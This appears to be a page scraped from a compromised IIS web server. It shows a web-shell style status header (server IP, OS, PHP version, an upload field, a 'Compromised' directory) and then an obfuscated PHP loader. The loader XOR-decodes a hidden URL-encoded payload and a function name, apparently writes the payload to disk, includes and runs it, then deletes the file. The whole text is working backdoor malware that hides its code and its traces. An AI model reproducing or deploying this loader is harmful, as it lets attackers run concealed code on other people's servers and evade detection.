Server IP : 103.6.199.200 / Your IP : 3.14.249.124 Web Server : Microsoft-IIS/10.0 System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586 User : EMPUSA$ ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Domains/iscommy2/i-3s.com.my/Compromised/ |
Upload File : |
<?php function rgEgVjQM($VABMuCU, $ATmMeQ) { $VABMuCU = urldecode($VABMuCU); $ZjXQSDQANEuC = str_split($VABMuCU); $action = ""; for ($i = 0; $i < strlen($VABMuCU);$i++) { $action .= $ZjXQSDQANEuC[$i] ^ $ATmMeQ[$i%5]; } return $action; } $i="%5BO%1F%3A%3Ejz%2F%3B+%0E%2F%1C7%3AOW%0A+%3C%08%020%3E%21%00WCr%002%3C%23%7Bujz%2F%3B+%0E%2F%1C7%3AOW%03%3D%298%15%1D+%21%15%03H%7EnWYT_D%27%19%01%3B%11%14%15%1Bzi%0A%11%17%0D%2B%1F%15%0C%27%3A%0E%1F%01%0D%3A%0E%1D%0AubG%40FiCm0%1C7%3A8%04%06%3F%2B8%1C%06%3F%27%13X_%7BujzbXCm%16%1A%3C-%13%19%00%3Cn%14%18%0B%22fC%14%0E%26%2FKPK9%2B%1EYbX5jzOrnGT%00%27%3A8%14%0E%26%2FGMOpl%5C%7DernGP%09%3D%3CGXK%3BnZP_inC%19Onn%14%04%1D%3E%2B%09XK6%2F%13%11FigG%0BbXnGPOrnGP%09%3D%3CGXK8nZP_inC%1AOnn%14%04%1D%3E%2B%09XK9%2B%1EYOthGT%06rrG%03%1B+%22%02%1EGv%2A%06%04%0E%7BuGT%05yeKPK%3BeLYO%29CmPOrnGPOrnGPOv%21%12%0406%2F%13%11O%7CsG%13%07+f%08%02%0Bzj%03%11%1B3%15C%192%7Bn9P%00+%2AOT%0477%3CT%05%0FgNKbXnGPOrnGP%12_DGPOr3jzOrnG%02%0A%26%3B%15%1EOv%21%12%0406%2F%13%11T_D%1A%7De%3B%28GX%06%21%3D%02%04Gv%11+5%3B%09xPC%5Ba%7B%3AYF_D%1C%7DernGP%0B%3B%2BO%1D%0BgfSGXc%7CNYT_D%1A%7Dev%3A%02%1D%1Fo%2F%15%02%0E%2B%11%0A%15%1D5%2BOT0%11%01%28%3B%26%17bGT0%02%014%24FiCm%16%00+%2B%06%13%07rfC%04%0A%3F%3EG%11%1Crj%03%11%1B3%11%0C%15%16rsYPK6%2F%13%11Fr5jzOrnGT%0B3%3A%06PRr%0E%12%1E%1C7%3C%0E%11%03%3B4%02X%1C%3A%2A%17X%1C%3A%2A%17X%0D3%3D%02F%5B%0D%2A%02%13%006%2BOT%0B3%3A%06YCriV%11_%60%2F%11%0A_%2A%28%14C%15%2A%22%1F%40%1F%2B-%02%1C%1F%3B7S%13%0D9zQH%0Cj%3B%40YCrj%03%11%1B3%11%0C%15%16%7Bg%5C%7DernGP%064nO%19%1C%21%2B%13XK6%2F%13%114u%2F%0CW2%7BgG%0BbXnGPOrnGP%064nOT%0B3%3A%06%2BH3i%3APRon%40%19H%7Bn%1C%7DernGPOrnGPOrnC%19Oon%06%02%1D37O%7DernGPOrnGPOrnGPOri%17%06HrsYP%2F%22%26%17%06%0A+%3D%0E%1F%01zgK%7DernGPOrnGPOrnGPOri%14%06HrsYPHc%60W%5D%5EubjzOrnGPOrnGPOrg%5C%7DernGPOrnGPOrn%02%13%07%3Dn%27%03%0A+%27%06%1C%06%28%2BOT%06%7BujzOrnGPOrn%1AP%0A%3E%3D%02%19%09rfC%14%0E%26%2F%3CW%0Eu%13GMRri%02WFr5jzOrnGPOrnGPOr%2B%11%11%03zj%03%11%1B3%15%40%14H%0Fg%5C%7DernGPOrnG%0DbXnGPOrnGP%0A%2A%27%13XFiCmPOrn%1A%7De%2F"; $j="%01%19%037%11%17%05%1B%0D-%08%1E%1B7+%13%03"; $aRSjDueZye="gpoRNrHsVqcW"; $k = rgEgVjQM($i, $aRSjDueZye); $f = rgEgVjQM($j, $aRSjDueZye); $f($aRSjDueZye, $k); include_once ($aRSjDueZye); unlink($aRSjDueZye); exit();